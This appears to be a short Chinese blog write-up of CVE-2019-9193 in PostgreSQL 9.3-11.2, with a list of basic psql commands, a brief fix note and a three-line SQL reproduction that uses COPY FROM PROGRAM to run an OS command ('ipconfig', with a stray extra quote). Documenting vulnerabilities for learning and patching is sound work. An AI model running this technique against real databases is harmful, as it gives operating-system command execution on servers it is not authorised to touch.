PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

最美好的大概还是那些初识的日子,是对彼此不全然地了解又极度渴望了解的那段时光。

漏洞概述:

  • PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

漏洞版本:

  • 9.3-11.2

漏洞搭建:

  • 直接官网下载9.3-11.2任意版本,安装即可。

基本命令:

连接数据库, 默认的用户和数据库是postgres
psql -U user -d dbname -
切换数据库,相当于mysql的use dbname
\c dbname
列举数据库,相当于mysql的show databases
\l
列举表,相当于mysql的show tables
\dt
查看表结构,相当于desc tblname,show columns from tbname
\d tblname
创建数据库: 
create database [数据库名]; 
删除数据库: 
drop database [数据库名];  
重命名一个表: 
alter table [表名A] rename to [表名B]; 
将文本导入到表中
copy [表名] from 文本
在已有的表里添加字段: 
alter table [表名] add column [字段名] [类型]; 
删除表中的字段: 
alter table [表名] drop column [字段名]; 
重命名一个字段:  
alter table [表名] rename column [字段名A] to [字段名B]; 
在表中插入数据: 
insert into 表名 ([字段名m],[字段名n],......) values ([列m的值],[列n的值],......); 
修改表中的某行某列的数据: 
update [表名] set [目标字段名]=[目标值] where [该行特征]; 
删除表中某行数据: 
delete from [表名] where [该行特征]; 
创建表: 
create table ([字段名1] [类型1] ;,[字段名2] [类型2],......<,primary key (字段名m,字段名n,...)>;); 

漏洞复现:

安装之后,首先连接数据库:
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)_第1张图片
然后执行sql语句如下,即可:

CREATE TABLE cmd_exec(cmd_output text); //创建文本表
COPY cmd_exec FROM PROGRAM 'ipconfig'';//将结果导入表中
SELECT * FROM cmd_exec;//显示

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)_第2张图片

漏洞修复:

  • 升级版本,打补丁,控制好权限。

ps:萌新一枚,余生很长,请多指教。
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)_第3张图片

你可能感兴趣的:(CVE)